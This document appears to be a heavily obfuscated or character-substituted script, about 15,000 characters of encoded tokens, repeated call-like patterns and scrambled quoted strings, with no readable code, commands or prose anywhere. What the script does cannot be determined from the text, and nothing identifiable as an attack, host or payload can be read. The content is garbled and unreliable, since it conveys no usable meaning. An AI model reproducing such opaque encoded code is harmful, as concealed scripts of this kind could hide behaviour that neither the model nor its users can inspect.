G^^^C^^^^J	VOMIKWVOIJJVKO	VHIFWVZF	MWR^^^^^ZIMLGOWWEt^^ZJIKIJ^^^C^MHFKVOMIHW^^P^MHFKVOMIKWVKO	VHIFWVZJKFWW^^P^KO	VOMIIWEtt^ZJIKIJ^PC^^GHNVOMIFW^P^^Z	L!
G^^^^P^^^^MHFKVOMIGWEt^^FOGJMVGHNVOMFNWR^^ZJIKIJR^^M!VOOFMWWEt^FOGJMVMHFKVOMFOWR^^M!VOMFLWVV
W^ZJMLJIMJ^^P^V
W^^^^Z	JO^P^ZIMLGO^^^^^^P^^YY^P^^KO	VOMFMWVFK!G!NV\\WWWR^^^^GHNVOOFMWWEt^^^^^Z!IM
OO^^^^C^^^^^KO	VOMJFWVM!VOMKKWW^^A^!VGHNVOMKHW^^P^^^^G
!FK!VMHFKVIMNWWW^^D^^^\\EZGLHCMOIOEZF!O
CZGLH OLGEt^^^^^^^^^VZ!IM
OO^^^^^CCC^\\W^Z!IM
OO^^C^MHFKVOMKGW^^^P^^FK!G!NV\\W^^^^^P^^GHNVOMKIW^^^P^^G
!FK!VJ	VIMNWWEt^VGHNVOLFHWVZ!IM
OOR^^^J	VOMKGWW^_CC^NW^^Z!IM
OO^C^^^^J	VOMFJW^^^P^MHFKVFWVKO	VOMHNWVMHFKVOMHOWR^^^\\R^^Z!IM
OOWR^^^YQYWEtFOGJMVGHNVKHLWR^^^^^Z!IM
OOR^^^^^MHFKVOOFMWWEt^^VGHNVOMFKWVZJMLJIMJW^^B^^^VOI OOIWW^ttt^^^
Ett^^^^^FOGJMVJ	VOMFHWR^ZJMLJIMJR^^^MHFKVOOFMWWEttt^^^^V_K!VWW^^^^
Ettt^^^^^^ZLNGGMOH^^^C^^JOHMLKLVWEt^^^^^^V_>KO	VOMFIWVZLNGGMOHWW^^^OF!NKIOVZLNGGMOHR^^^VLFOULOLWR^^^^
WEt^^^^^^^V_>M!VOMFFWVZLNGGMOHW^^^^_>J	VFIIWVZLNGGMOHWW^^^
Et^^^^^ZL	MH	L^C^ZLNGGMOH^^^^P^^YQY^P^Z	GGJ!^P^^^^J	VGJFWEttttZ!
IO^C^^^^^

	!!OVt^J	VIJIWRttt^VY!!-2+9!!YR^Y!!$7.!0?3;!!YR^Y!!),7*;!5;'!!YR^^Y!!(;,-710!!YWRtVZHMFFR^ZJIR^^K!NGJ	V?<-.?*6^^^P^^J	VOMFGWR^VNGUNMWWR^MFKKIO
VWWt^WEt^^^^^^V_Z!
IOW^t^VV
W^^
!
VGHNVHOKWR^^^^NW^^@^NW^^^!LNLVMHFKVOMGNWR^^^^MHFKVOMGOWWEt
Et^^^^^t^^^^^V_>KO	VOOFGWVZL	MH	LW^^^^^^^J	VOMFLWV!ML!JNGNVV
W^^>J	VOMONWVZL	MH	LWWW^^_CC^^M!VOMFLWVZ!
IOWW^^t^^^^^^^HLKMH	KVZL	MH	LR^^^Z!
IOR^^^^^^GHNVOMGLWWEtt		KOLLVZL	MH	LR^^^^MGGHHVWWEtMIFJHVZL	MH	LR^VNOMNUNIJWWEt^K
VZL	MH	LWEt^^^t^^^^^
^^^V*	^^ZMN!W^^t^^!LNLVKO	VOMGMWR^ZMN!WEt^^^^^^^^^^
^^^^^V;
^^^^^ZMN!W^^^t^^tttt^^^t^^^
^^^

	!!OVZR^ZMGLHILJMGR^^^^^ZMGIIWtttttQQ^^
^
tttt^^^^^Z
	^C^Et^^^^VZ
	^^^^^CCC^^^W^t^Z
	^^^^C^GHNVOMGJWVKO	VOMGKWW^A^
!

VNLGM
MIJ
KVWW^^^D^^Et^^^^^^V_^M!VOMGHWVZ
	WW^tt^^^^^Z
	^^^C^^^^^NLIHGJ	VJ	VJOGWR^^^WEt^^^^^^^^tttt^^^^V_^J	VOMGHWVZ
	WW^tt^Z
	^^C^^VWEtt^^^t^^^^ZIIJONFI!K^^C^\\Et^^^V
VZ
	%Z#W^^^XX^^M!VOMIJWVZ
	%Z#WW^^^t^^^ZIIJONFI!K^^C^Z
	%Z#Et^^^^t^^^^VGHNVOMFKWVZIIJONFI!KW^^B^^^^VJFULWW^t^ZIIJONFI!K^^C^^MKJLVZR^^^\\WEt^^^t^^^^^^^VJ	VOMGIWVZIIJONFI!KW^^^B^VNLUNIWW^
^^^EtZMFK^^^C^MHFKVOMGFWVZIIJONFI!KR^^^
WEt^^^^^^V_ZMFK^^^^^^^J	VOMGIWVZMFKW^^^^^^B^^^^^VJHUJWW^
^Et^^^^^^^VMHFKVOLFHWVZMFKR^^^^^MHFKVOMGGWW^CCC^^^^^^W^^^^^
^Et^^^ZMFK^^^C^M!VOJNNWVZMGLHILJMGR^ZMGIIR^^ZMFKWEt^^^^VVMHFKVLKFWWW^^^tt^^^^
^^^^^t>
!
!VZMFKR^*15;0!.?,-;WEttt^^^^
^^V*	^ZMN!W^ttt^^^
^Et^^^^
^^V;
^^^^^ZMN!W^t
^^Et^tt^^^V_JKOOFVZMFKWW^^^^t^
^^EttQQ^
^tt^^
^^^^^^ZMFKEt^^^^t^
^^^^GMJMMO!VWt^ttt^^
^^^^^^t^^V_M!VOMGJWVGHNVOJNOWWW^^^^
Et^^^^^^V_VMHFKVOJNLWWW^^^^^^
Et^^^ZINGM!^^^^C^^^^!
FFVWEt^^^V_ZINGM!W^^t^^^OHIIKM	HVWEt^^ZINGM!^^C^^!
FFVWEt^^tt^^tttt^^^^Z	MMF^C^^^^^^MKJLVMHFKVMFOWR^^\\WEttt^^^^^^^^^VGHNVOMGIWVZ	MMFW^^^^^CCC^^^^NW^Z	MMF^C^^MHFKVOJNMWV\"NN\R^VOISOWWEt^^^Z!HGL^^^^^C^^V
VZ921<?2-%GHNVJGNW#W^^XX^^^MHFKVOJNJWVZ921<?2-%MHFKVJGNW#W^XX^^^^M!VOMGIWVZ921<?2-%M!VJGNW#W^^^^^@C^^VI GGWW^^A^Z921<?2-%M!VJGNW#^D^^MKJLVJ	VOJNKWR^^\\WEt^^^^VKO	VOMGIWVZ!HGLW^^^B^VNKLUNOLWW^^^Z!HGL^^^C^^^^^OF!K!!VWEtZ!!KJG^^^C^^^V
VZ921<?2-%KO	VOMHJW#W^XX^^MHFKVOJNHWVZ921<?2-%KO	VOMHJW#W^^XX^^GHNVOMGIWVZ921<?2-%J	VOMHJW#W^^@^^^^VGUJOWW^^A^Z921<?2-%J	VOMHJW#^^D^MKJLVGHNVILGWR^\\WEtZJNNMI^^^^C^M!VOMFLWVZ!HGL^^^P^^Z!!KJG^P^^^^Z	MMF^^^^^P^^^^^YY^^^^P^^^^^J	VOJNIWVFK!G!NV\\WWWEt^^^^^^^VMKJLVJ	VOJNFWR^^\\W^^_CC^^ZJNNMIW^t^^^^OHIIKM	HVWEt^^^^ZINGM!^^^C^^^^!
FFVWEtt^^^V_K!VWW^
Et^^^^^ZII!N	GNL^^C^^^^J
J!	VWEtZJOL^^C^>KO	VOJNGWVZII!N	GNL^^P^^^^MHFKVKINWWEt^^^^VZJOL^^^XX^ZINGM!^^XX^^^
!

VMHFKVIHFWWW^^^^
Et^^^^^^
!LIMIVWEt^^^HFJGVWEt^^^^JMLFNKJGVWEtZMKMGIN^C^>KO	VOJNGWVZII!N	GNL^^P^^^^^^J	VKINWWEt^ZINGM!^^^C^^!
FFVWEttt^^^VZMKMGIN^^^XX^^ZINGM!W^^^tQQ^
^
tt
!

VGHNVIHFWR^^^^^OR^^^^VKHJSLHJWWEt^^t^^^
^^V*	^ZMN!W^^t^^!LNLVGHNVOJONWR^^ZMN!WEttt^^^
^^V;
^ZMN!W^^^t^^^tt
^^HFJGVWt^^^^^^^t^
^^^^t^^^^^^V_VM!VOJNLWWW^
Et^^^^^VKO	VKJKWVW^^CCC^^MHFKVGJWW^^^
Ett^^ZLMJ^C^MHFKVOMGJWVGHNVOLFKWW^^A^^^>M!VOLFKWVMHFKVKFIWW^^^D^^^^Et^^^^^^V_ZLMJ^^ZLMJ^^CCC^^^^\\^^^^ZLMJ^^^CCC^^^^M!VKFGWW^^ZLMJ^^^^^C^^KO	VKGNWEt^Z	GGJ!^C^K!NGJ	V?<-.?*6^P^^^^GHNVOJOOWR^VLJN LJFWWEt^^^^tt^^^^^^^^ZII!N	GNL^^C^^^^J
J!	VWEt^^^ZLNGGMOH^^^^^C^JOHMLKLVWEt^ZMKL^^^^^C^^^^^^K!NGJ	V?<-.?*6^^^^P^^^^KO	VOONOWR^^^VIUOWW^^^^^P^^J	VGJFWEtZJJGG^C^^ZII!N	GNL^P^^^YQY^P^^^ZMKLEt^^Z!O^C^^ZII!N	GNL^^P^^^GHNVOJOLW^^^^P^^^^ZMKLEt^^^^^^^ZHMFF^^^^C^^^GHNVOJOMWVK		HK!	VWR^^MHFKVGJFWWEt^ZJI^^C^^^^K!NGJ	V?<-.?*6^^^^^P^^^^^^M!VOJOJWR^^^VNMUNKWW^^^P^^MHFKVOMJJWEt^ZNHML^^C^^^^^V
W^
!
VJ	VOJOKWR^^^NWEt^^^^^^^^^VZNHML^XX^^^^GHNVOOJJWVW^^^^S^^^ZNHML^^^B^^^^^VOHLGGOSIHKGOWW^^^^t^J	OG
VZJJGGR^^^WEtttt^^^^^^^J	OG
VZ!OR^^^^WEt^^^^VVJ	VJNNWV?<-.?*6R^^J	VONNWWR^^^^M!VOJOHWVZII!N	GNLR^^M!VONNWWW^^^^^^ZIH
INW^^^t^^ZOIOK^^^^C^ZIH
IN^^P^^YQY^^P^^^^ZLMJEtZJ
J!^^^^C^>KO	VOLHOWVZOIOKW^A^>MHFKVOMONWVZOIOKW^^^D^^^^\\Et^^^^^VGHNVOJNHWVZJ
J!W^^XX^J	VOLFHWVZJ
J!R^ZMKLW^^^^^_CC^^W^^^ttttZNON!	^^^C^M!VOMHNWVKO	VOJOIW^^P^KO	VONGFWVZMKLR^^YQYW^^^P^^^KO	VOJOFWR^^\"\R^^ZJ
J!WEt^^VMHFKVOJOGWVZNON!	W^^XX^^ZNON!	^^^_CC^^^^^ZJ
J!W^^^^^GGLJO!MOVZOIOKR^ZNON!	WEtt^t^
Ettt^t^ZJL	KN^^^C^^^^

	!!OVt^^^^^^^M!VOJLNWRt^VY!!-2+9!!YR^^Y!!$7.!0?3;!!YR^^Y!!70-*!6?-6!!YR^^^^Y!!:?*?!:7,!!YR^Y!!=10*;0*!:7,!<HJ!!YR^^Y!!(;,-710!!YWRttt^VZHMFFR^ZJIR^^Z	GGJ!R^^MHFKVOJLOW^^^^^P^^^K!NGJ	V?<-.?*6^^^P^MHFKVOJLLWR^^^VGSOWWR^^^^GHNVOJLMWVVMHFKVMNMWW^^A^^).!=10*;0*!:7,^D^J
J!	VWWR^MFKKIO
VWWt^WEt^^^V_ZJL	KNW^^t^^^^VV
W^^
!
VKO	VOJLJWR^^^^^NW^@^^NW^!LNLVMHFKVOJLKWR^^J	VOJLHWWEt
Ett^^^V_>MHFKVOMFFWVZLNGGMOHWW^^OF!NKIOVZLNGGMOHR^^^VNOLUNOWR^^^
WEtttZJI!HI!	^C^^^^^Ettt^^^^^^^^V_>J	VOJNGWVZ!OW^^^^^^MHFKVOMFLWV!ML!JNGNVV
W^^^^^>MHFKVOMONWVZ!OWWW^_CC^^^^^^M!VOJLIWVZJL	KNWW^^t^HLKMH	KVZ!OR^ZJL	KNR^^^^KO	VOJLKWWEt^^^^^^		KOLLVZ!OR^^^^^^MGGHHVWWEt^^^MIFJHVZ!OR^^VNOOUNMWWEt^^^^K
VZ!OWEt^ZJI!HI!	^^C^^^^^
Et^t^Z	
F^C^^^^\\Et^^^^^VVGHNVOJOHWV?<-.?*6R^^^^^J	VONNWWR^^^^GHNVOJOHWVZII!N	GNLR^^^MHFKVOJLFWWW^^Z
HW^^ZKMC.6.!3?41,!(;,-710EZHCZKMTHEt^^ZHKK	^C^>M!VOJLGWVZ
H^P^YQY^P^^ZLMJW^^A^^>GHNVOMONWVZ
H^^^^P^^YQY^^P^ZLMJW^^D^^\\Et^^^VM!VOJOGWVZHKK	W^^^XX^^^GHNVOMOOWVMHFKVOJMNWR^^^^ZHKK	R^^^^^Z!HWW^^^t^^^ZNIMN!

H^^C^J	VOJMOWVZ!H%L#WEt^^VZNIMN!

H^^^_CC^^^\\^^^^XX^^^
VZNIMN!

HR^M!VOJMLWW^^CCC^^^^^^XX^^_FO
JVZNIMN!

HWW^tQT^
S
^
S
^TQttttt^^Z	
F^^^^C^^^ZNIMN!

HEtEtttt^^^^^^t^^^t^^tQQ^.6.-
^^G^^tt^t^^^ZN	L^^^^^^C^^^^^KO	VOJMMW^P^VZ	
F^^_CC^^\\^^A^^^^^KO	VOJMJW^^P^^^^J	VOJMKWVZ	
FR^
W^P^^J	VOJMHW^^D^^\\Wt^^P^M!VOJMIW^P^^ZMKL^^^P^M!VOMIGWt^P^^J	VOJMFWtP^J	VOJMGWtt^^^P^KO	VOJJNW^^^^^P^KO	VOJLIWVZJL	KNW^^P^^^^KO	VOJJOWEt^^^^^V_>GHNVOJLGWVZJJGGW^^^^^^^^MHFKVOJLIWV!ML!JNGNVV
W^^>KO	VOJJLWVZJJGGWWW^^^^^_CC^KO	VOJJMWVZN	LWW^t^^^^HLKMH	KVZJJGGR^ZN	LR^^^^MHFKVOJJJWWEtttt^^^^		KOLLVZJJGGR^MGGHHVWWEt^^MIFJHVZJJGGR^^VMIJUJHWWEt^K
VZJJGGWEtt^ZJI!HI!	^C^
Et^^^tQQ^>^
Stt^ZJKKGK^^C^^^^
Et^^^^ZH^^C^^^^^!ML!JNGNVV
W^^^^>J	VOJJKWVZ!OWWEt^^^^^^^V_>M!VOJJHWVZ!OW^^^^ZH^_CC^^ZJL	KNW^^^^t^^^^^^!LNLVKO	VOJLKWR^^^^J	VOJJIWWEtttt^J	OG
VZ!OR^^WEtttZJKKGK^C^Et^^^^^t^ZH^^C^^^^!ML!JNGNVV
W^^^^^^>M!VOJJFWVZJJGGWWEt^V_>KO	VOJJGWVZJJGGW^^^^^^^ZH^_CC^ZN	LW^t!LNLVMHFKVOJKNWR^GHNVOJKOWWEt^J	OG
VZJJGGR^^WEZI
MCHGHKEZL
LCZI
M[OLEtZJKKGK^^^^^^C^Et^^t^^^^^^^
VZHWEttt^^^^^^^^V_ZJKKGKW^tZ!FN!N^^^C^V
W^
!
VM!VOJKLWR^^^NW^^^^^U^OEt^^^tt^
!
VM!VOJKLWR^^^^Z!FN!NR^^KO	VOOFMWWEt^^^VZ!FN!N^^^@C^^VNOUNLWW^t^
!
VKO	VOJOKWR^^MHFKVOJKMWVWR^GHNVOOFMWWEt^^^^!LNLVMHFKVOJKJWR^^MHFKVOJKKWWEt^^^tQQ^).^*
^.
D^	
S^S		tt^
Etttt^^tt^ZHH^^^C^^^VJ	VOJKHWV?<-.?*6R^GHNVOJKIWWR^^^^GHNVOJKHWVZII!N	GNLR^^^M!VOJKFWWWEtZN!O!^^C^^^^VWEttt^^^VZHH^^^^Z	G	
LLFW^^^^^^tQQ^^tt^^^Z
ML^^C^^Z	G	
LLF^^P^^^YQY^^^^^P^ZLMJEt^^^^tt^Z

F
JI	H^^^C^>KO	VOJKGWVZ
MLW^^^^A^^>J	VKFHWVZ
MLW^D^^NEt^Z
^^^C^^^^>GHNVOJLGWVZ
MLW^^A^^>KO	VOJJFWVZ
MLW^D^^\\Etttt^V_J	VOJHNWVZ
WW^t^^^!LNLVMHFKVOJKJWR^KO	VOJHOWWEttt^
Ett^^^^^^VKO	VOLFHWVZ
R^ZMKLW^^CCC^W^t^^^^VZ
^^^XX^KO	VOJHLWVKO	VOJHMWVZ
WR^SOW^^_CC^^^\"\W^^^^^Z
^^PC^^^^\"\Et^^ZKHOKF!O^^C^J	VOJHJW^^P^^^^^ZJJGG^^P^^Y\Y^^^^^^P^^^.6.!;12Et^^^VGGLJO!MOVZ
MLR^Z
^P^^^^ZKHOKF!OWW^^tt^VZ

F
JI	HW^^^		KOLLVZ
MLR^^Z

F
JI	HWEt^^^^		KOLLVZ
MLR^MHFKVOJHKWVWWEt^MIFJHVZ
MLR^VMFIUMMWWEt^^^^^
!
VGHNVOJHHWR^^^MHFKVOJHKWVWR^^^KO	VOJHIWWEtttt^ZN!O!%#^^C^^^VZ
MLR^^Z
WEt^^^^^^^^VV
W^
!
VGHNVOJKLWR^NW^^^^@^^^^NW^^^
!
VJ	VOJKLWR^^NR^M!VOJHFWWEt^^^^VV
W^^^
!
VM!VOJOKWR^^NW^^^@^^^^NW^>
!
VJ	VOJHGWWEt^^^^^t^^ZHJ	FF^C^^V
W^^
!
VJ	VOJKLWR^^^NW^U^^^^OEt^^^^
!
VKO	VOJINWR^^^ZHJ	FFR^M!VOJHFWWEttt^^^VZHJ	FF^^^@C^VNLUNOWW^^^t
!
VJ	VOJIOWR^^^^KO	VOJILWVWR^^^J	VOJHFWWEt^^^^^^!LNLVGHNVOJIMWR^^J	VOJKKWWEt^^^^EZO
!CMFLOEZ


HNKHCZO
![OKEt^^^ttt^t^^^^^^VZJI!HI!	^^XX^^_J	!IVWW^^^t^t^^^!LNLVGHNVOJIMWR^M!VOJIJWWEtJ	OG
VZJJGGR^^WEt^J	OG
VZ!OR^^^WEt^^^VZN!O!^^^^^^^ZIHOOFW^^^^GGLJO!MOVZIHOOF%N#R^ZIHOOF%O#WEtZ!FN!N^^^C^^V
W^^^^^
!
VGHNVOJINWR^^^NW^^^^U^^^OEt^^
!
VM!VOJINWR^^^^Z!FN!NR^^^KO	VOJHFWWEt^^VZ!FN!N^^^^^@C^^^VLKK LKLWW^tt^^
!
VMHFKVOJIOWR^^^J	VOJIKWVWR^KO	VOJIHWWEt^^^^!LNLVM!VOJIMWR^M!VOJIIWWEt^t^^^^t^^^
^^V*	^ZMN!W^^^^^ttt!LNLVMHFKVOJIMWR^^^ZMN!WEt^^^^
^^V;
^^ZMN!W^^^^t^^^^^^t^^^t^^^^
^^IIGFKKVWt^^tt^^^
^^t^^^^^V_KO	VOMGJWVMHFKVFGLWWW^
Et^^^^^VVGHNVOJIFWW^^^^^^^VKO	VOJIGWWW^^^^t^^^VV
W^^^^>
!
VM!VOJHHWR^^^^^NWW^^t>
!
VM!VOJHHWWEt^^>
!
VKO	VOJINWR^^^NR^MHFKVOJFNWWEtt^^
Et^^^^^tttZHKHJHF^^^C^^^^^V
W^^>
!
VGHNVOJHHWR^NWEt^^^V_ZHKHJHFW^^
Et^^^^ZFF^^^^^^C^^^^M!VOMGJWVGHNVOLFKWW^^A^V
W^^^^^>M!VOLFKWVGHNVOJFOWW^^^^^D^^^^^NEtt^^^VZFF^^^^^BC^^^NW^^^ZFF^^C^^VLHNUJNWEt^tt^^^^^^^^^VKO	VOJFLWVW^^S^^^^^^ZHKHJHF^^^B^ZFF^^U^^^^VJLSOLWW^^^
Et>
!
VGHNVOJHHWR^KO	VOJFLWVWR^^J	VOJFMWWEt^ZN^^C^^^V
W^>
!
VGHNVOJINWR^^^NW^^^^^^U^^^OEt^^^>
!
VKO	VOJINWR^ZNR^^J	VOJFMWWEt^^^^^^VZN^^@C^^^VLUOWW^^^^t^^^^^^>
!
VKO	VOJFJWWEttt^>
!
VGHNVOJIOWR^GHNVOJFLWVWR^M!VOJFMWWEtt^^!LNLVGHNVOJIMWR^^M!VOJFKWWEt^^^^^^t^^^^^^^^
^^^V*	^ZMN!W^t^^^^^^^
^^^V;
^^^ZMN!W^^tt^^t^^^^
^MMO	NVWtt^^^
^^^^tttt^^^^V_VM!VOJNLWWW^^
Et^^^^^^^^VKO	VOJFHWVW^^^CCC^GHNVOJFIWW^^
Et^^^V_F	NN!IVWW^^^^
Etttt^^^V_K!VWW^
Et^^^^^ZLNGGMOH^^C^^^^JOHMLKLVWEttttZMI!FK^^^C^^^^^ZLNGGMOH^^P^^^MHFKVOJFFWEtttt^^^Z	IJN^C^GHNVOJFGW^^^P^\"\^P^J	VOJGNW^^^P^^^\"\tP^J	VOJGOW^^^^^P^^^^\"\^^^P^^KO	VOJGLW^P^^\"\^P^^^^GHNVOJGMW^^^^^P^^\"\t^^^P^^^^M!VOJGJW^^P^^^^^^\"\^^^^P^^^^^KO	VOJGKW^^^^^P^^^\"\^^^^^P^^^^KO	VOJGHW^P^^\"\t^^P^^J	VOJGIW^^P^\"\Ett^^^Z
^^^^^C^>J	VOJLGWVZMI!FKW^^^^^A^^^>M!VOJGFWVZMI!FKW^^^D^^^^^\\Et^V_GHNVOJHNWVZ
WW^^tQQ^^
^
tt^!LNLVKO	VOJGGWR^^^^MHFKVOJHOWWEt^^
Ett^^^^^^VJ	VOLFHWVZ
R^^^J	VOJFGWW^^CCC^W^^t^^GGLJO!MOVZMI!FKR^^Z
^^^^^^P^^^^Z	IJNWEt		KOLLVZMI!FKR^MGGHHVWWEttt^MIFJHVZMI!FKR^VJOMUIWWEt^tQQ^).^*
^.
D^
^
	tt^Z!FH!M^C^^^^FNGNVWEt^^^^^V_Z!FH!M^^^^^^^M!VOKNNWVZ!FH!MW^^^B^^VLOUJIGWW^^^^
Ettt^^^^^^ZHMFF^^C^GHNVOJOMWVK		HK!	VWR^^KO	VGJFWWEtZII!N	GNL^^^^^^C^^J
J!	VWEt^ZMKL^C^^^^^K!NGJ	V?<-.?*6^^^P^KO	VOKNOWR^^^VLUHWW^^P^^MHFKVGJFWEtZ	FLN^^C^^^Vtttt^^^^ZII!N	GNL^^P^^^^YQY^^P^^^^ZMKLRt^ZLNGGMOH^^P^YQY^P^ZMKLRt^^^^^WEtZ^C^ZII!N	GNL^P^^^YQY^^P^^ZMKLEt^^^^^^^VZ	FLN^^Z
JGOW^^^^^t^^^Z	G	
LLF^^C^^GHNVOKNLWVZ
JGOWEttt^^^^^^^^V>MHFKVFIIWVZ	G	
LLFW^^^^^^^OF!NKIOVZ	G	
LLFR^^VJHMUMNWR^^^
WW^^tZ^C^Z
JGOEtEtttt^^^^^t^tZIIJONFI!K^C^^GKHOMHVWEttt^^^^ZJL	KN^^^^^C^^

	!!OVttt^^^J	VIJMWRttt^^VY!!-2+9!!YR^^^Y!!.2+970!<?-;HJ!!YR^^^^Y!!(;,-710!!YWRt^^^VZHMFFR^^^ZIIJONFI!KR^^^^MFKKIO
VWWtWEt^^^^V_ZJL	KNW^^^t^^^^^VV
W^^^
!
VGHNVOKNMWR^NW^@^^NW^!LNLVGHNVOJGGWR^^^^^KO	VOKNJWWEt^^^
Etttt^^^^^^^^Z	
F^^^C^\\EtttZM	M^^^C^^^^V?<-.?*6^^^P^^GHNVOKNKWR^^ZII!N	GNL^^^^^^P^^J	VOJFFWWEt^ZONJ^C^^^MHFKVOMGJWVGHNVOLFKWW^^A^>KO	VOLFKWVJ	VKFIWW^^D^Ett^^^VGHNVOJHNWVZONJW^^^^XX^^^^ZONJ^^_CC^^^\\W^^t^ZM	M%#^^C^J	VOJHMWV?<-.?*6R^^GHNVOKNHWW^^P^^^YQY^P^ZONJEt^^ZM	M%#^^C^^^ZII!N	GNL^^P^^^YQY^P^^^ZONJEt^^tQQ^^
^^).^.
^;
ttttt^^^^^^^^^VZM	M^^^^^^Z
I	K
W^^^^t^^^^^ZHF!F
G^^C^^^>MHFKVOJKGWVZ
I	K
W^A^>GHNVOJGFWVZ
I	K
W^^^^^D^\\Et^^^^^^^^^V_KO	VOJHNWVZHF!F
GW^^^^^^ZHF!F
G^^^CCC^^\\W^
Ett^^^^^^^VM!VOMOOWVKO	VOKNIWR^ZHF!F
GR^^^Z!HWW^tt^^^^^^^ZNIMN!

H^^^^^^C^^^^^J	VOJMOWVZ!H%L#WEtt^^^^^^^^VZNIMN!

H^_CC^\\^^XX^
VZNIMN!

HR^^^^J	VOJMLWW^CCC^^^XX^_FO
JVZNIMN!

HWW^^tZ	
F^^^^^C^^^^^ZNIMN!

HEt^Et^tt^^t^^^^^VZ	
F^^^_CC^^\\W^^t^^^^ZJL	KN^^^^^C^GHNVOMHNWVM!VOKNFWR^^^KO	VOKNGW^^^^P^^KO	VOJMKWVZ	
FR^^^^^^
W^^^^^P^^GHNVOKONWR^^^^^^ZJL	KNR^^OWEt^^^^^^V_M!VOJHNWVZJL	KNWW^^^^^t!LNLVM!VOKOOWR^MHFKVOKOLWWEZKGKMJ
CMNMJEZ
F!J	CZKGKMJ
[OMEt^^^^^^^^
Et^^tt^^^^tQQ^

^
tt^^^^^^Z
HL^C^^^
EtQQ^
^
S
tt^^^^^ZI^^^^^C^^^Et^^^^^V>M!VOKOMWVZWW^^t^^^ZI^^C^!ML!JNGNVV
W^^^^>GHNVOKOJWVZWWEt^^^^^^VMHFKVOJHNWVZIW^^^^XX^^^^ZI^^CCC^^^^^ZJL	KNW^^^^ttttZ
HL^C^^Ettt^^tt^ZJII^^C^^^^^^Vt^?<-.?*6^^P^^^^^KO	VOKNKWRt^^VVM!VMNMWW^^A^^).!=10*;0*!:7,^D^ZII!N	GNLW^P^^^^^^GHNVOJFFWRt^^WEtZGOMO^C^^V
W^^^^^
!
VGHNVOKOKWR^^NWEtttt^^^^^VZGOMO^^^XX^^^^^KO	VOJFLWVW^^^S^^ZGOMO^^^B^^VOKGNOUINJGGWW^^tJ	OG
VZR^WEt^^^^^^^^VZJII^^^^ZIK!		W^^^tQQ^).^<=
^
^^

tt^^^^^ZLJO^C^>J	VOJKGWVZIK!		W^^^^A^^>J	VOKOJWVZIK!		W^^^D^\\Et^^VM!VOJHNWVZLJOW^^XX^^^M!VOKOHWVZLJOR^^^^ZMKLW^_CC^^^^^^W^t^Z
!
MMIK
^C^	NGVZLJOR^^^ZMKLWEt^^^^^VJ	VOJHNWVZ
!
MMIK
W^^^XX^^Z
!
MMIK
^^_CC^ZLJOW^^^GGLJO!MOVZIK!		R^^Z
!
MMIK
WEt^tt
Et^^^^t^^^VZ
HLW^^^t^^HLKMH	KVZR^^ZJL	KNR^^^M!VOKOIWWEt		KOLLVZR^^^MGGHHVWWEttt^^MIFJHVZR^^VNOOKUNFWWEt^^^K
VZWEttt^^^^^tt^^ZH^^C^^>GHNVOJKGWVZW^A^!ML!JNGNVV
W^^>KO	VOKOJWVZWW^D^\\Et^^^^^VZH^^^_CC^^ZJL	KNW^t^^t^^^^!LNLVM!VOKOOWR^^^^^M!VOJKOWWEt^^^J	OG
VZR^^Z
HL^^^A^ZI^^^^^D^WEtZ
J	^^^^C^^^^V
W^
!
VGHNVOKOFWR^^^^^NW^U^^^^OEt
!
VMHFKVOKOFWR^Z
J	R^^^^^KO	VOJFMWWEt^^^^^^VZ
J	^^^@C^VKSLWW^tQT^

S
^

^TQtt^^^
!
VKO	VOKOKWR^KO	VOJFLWVWR^^MHFKVOJFMWWEt^^!LNLVKO	VOKOOWR^J	VOJIIWWEt^^t^^^^^^
Et^tt^
VZHWEt^Z
H^^C^^KO	VOKOGWEt^ZN!O!^^C^^VWEt^^^^VZJII^^^Z	L
!IW^^^t^^^^Z	G	
LLF^^C^^^^MHFKVOKNLWVZ	L
!IWEt^^^^^^^^^^^V_>KO	VFIIWVZ	G	
LLFWW^^^
EtZ		O^^^C^M!VOKLNWVGHNVOOJWW^^A^^^^>GHNVOKLOWVZ	L
!IR^^YYW^^D^^^^Etttt^^^^^^^^^^VZ		O^^^_CC^^^^XX^^KO	VOKLNWVGHNVOOHIWWW^^>VZ		OR^21=5!;&WEt^Z

F
JI	H^^C^^^^>MHFKVOKLLWVZ	L
!IW^A^^^^>J	VKFHWVZ	L
!IW^^^^D^^^^^^NEt^Z!HH

		^^C^>M!VOKOMWVZ	L
!IW^A^^^^>J	VOKLMWVZ	L
!IW^^^^D^\\Et^^^^^^V_J	VOJHNWVZ!HH

		WW^^t^^^^!LNLVM!VOKOOWR^^M!VOJHOWWEt^^^VZ		O^^_CC^^W^t^^^^^^^^VM!VOKLNWVMHFKVOKLJWWW^^^^^^>VZ		OR^^^21=5!+0WEt>VZ		OWEtt^^^^^
Et^t^VMHFKVOKOHWVZ!HH

		R^^ZMKLW^^_CC^^W^^^^^t^V>M!VOKLLWVZWW^tttt^^^^^^VZ		O^_CC^^W^^ZIMKCVNFFUNKWEZNKMGCZIMK[GEt^^^^VGHNVOKLNWVJ	VOKLKWWW^^>VZ		OR^^^21=5!+0WEt>VZ		OWEt^^^^^t^^^^^
Et^^tZ!HH

		^C^	NGVZ!HH

		R^^^ZMKLWEt^^^^^^^tQQ^).^,^-
^^ttt^^^^^^^^^^^^^^V_GHNVOJHNWVZ!HH

		WW^ZN	KJCMOTKEZCZN	KJSHEtt^^!LNLVMHFKVOKOOWR^^^^MHFKVOKOLWWEt^^VZ		O^_CC^W^^^^t^^^^^^^^VMHFKVOKLHWVJ	VOKLIWWW^^^^^>VZ		OR^21=5!+0WEt^^^^^>VZ		OWEtt^^^^^^^^
Et^^^^^^^tt^^^^^^^V_>J	VOKLLWVZWW^^t^^^^^VZ		O^^^_CC^^^W^^^^t^^^^^^^^^^^VM!VOKLHWVMHFKVOKLFWWW^^^^>VZ		OR^^^21=5!+0WEt>VZ		OWEt^^^^^^t
Et^^^t^^^^^VJLNFVWW^^^^tZKHOKF!O^C^\"B73^
@"\^P^Z
H^P^^^^J	VOKLGW^^P^^Z^^P^Y\Y^^P^\"BQ73@"\Ettt^^^^t^^^^ZKHOKF!O^^^C^^^\"B73^!P@"\^^^P^^^^^Z
H^P^J	VOKLGW^^P^Z^^P^^Y\Y^^^^^P^^^^\"BQ73@"\ttP^\B73^!KP@"\^P^^^Z
H^^^^^P^^M!VOKLGW^^P^Z^^^^^P^^Y\Y^^^^P^\"BQ73@"\tP^^\B73^!IP@"\^^^P^^Z
H^^P^^J	VOKMNW^^^^^P^Z^^^^P^^^Y\Y^^^P^\"BQ73@"\t^^^P^^^^^\B73^!FP@"\^^^^^P^^^^Z
H^^^P^^KO	VOKMOW^P^Z^^P^Y\Y^P^^\"BQ73@"\Et^t^^^^^VGGLJO!MOVZ	L
